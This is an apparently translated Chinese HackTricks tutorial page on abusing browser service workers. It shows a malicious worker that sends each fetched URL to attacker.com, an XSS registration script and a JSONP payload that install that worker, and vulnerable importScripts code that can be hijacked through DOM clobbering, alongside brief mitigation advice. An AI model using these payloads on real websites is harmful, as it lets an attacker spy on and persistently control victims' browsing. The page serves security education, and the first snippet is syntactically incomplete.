100 lines
4.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 滥用服务工作者
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用脆弱的网络域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
### 检查现有服务工作者
可以在**开发者工具**的**应用程序**选项卡中的**服务工作者**部分检查现有的服务工作者。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获取更详细的视图。
### 推送通知
**推送通知权限**直接影响**服务工作者**与服务器之间在没有直接用户交互的情况下进行通信的能力。如果权限被拒绝,则限制了服务工作者持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
## 攻击创建服务工作者
为了利用此漏洞,您需要找到:
- 一种**上传任意 JS** 文件到服务器的方法,以及一个**XSS 来加载上传的 JS 文件的服务工作者**
- 一个**脆弱的 JSONP 请求**,您可以**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,该有效负载将**加载恶意服务工作者**。
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**脆弱的 JSONP** 响应加载的代码):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
这是将**注册工作者**的代码(您应该能够通过利用**XSS**执行的代码)。在这种情况下,将向**攻击者**的服务器发送**GET**请求,**通知**服务工作者的**注册**是否成功:
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
在滥用易受攻击的 JSONP 端点时,您应该将值放入 `var sw` 中。例如:
```javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
```
有一个专门用于**服务工作者**利用的**C2**,叫做[**Shadow Workers**](https://shadow-workers.github.io),这将对利用这些漏洞非常有用。
**24小时缓存指令**将恶意或被攻陷的**服务工作者 (SW)** 的生命周期限制为在XSS漏洞修复后最多24小时假设在线客户端状态。为了最小化漏洞网站运营者可以降低SW脚本的生存时间TTL。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
## 通过DOM Clobbering在SW中滥用`importScripts`
从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的**参数**调用此函数,他将能够**从他的域导入JS脚本**并获得XSS。
**这甚至可以绕过CSP保护。**
**示例易受攻击的代码:**
- **index.html**
```html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
```
- **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
```
### 使用 DOM Clobbering
有关 DOM Clobbering 的更多信息,请查看:
{{#ref}}
dom-clobbering.md
{{#endref}}
如果 SW 用于调用 **`importScripts`** 的 URL/域名 **在一个 HTML 元素内**,则 **可以通过 DOM Clobbering 修改它**,使 SW **从您自己的域加载脚本**
有关此的示例,请查看参考链接。
## 参考
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}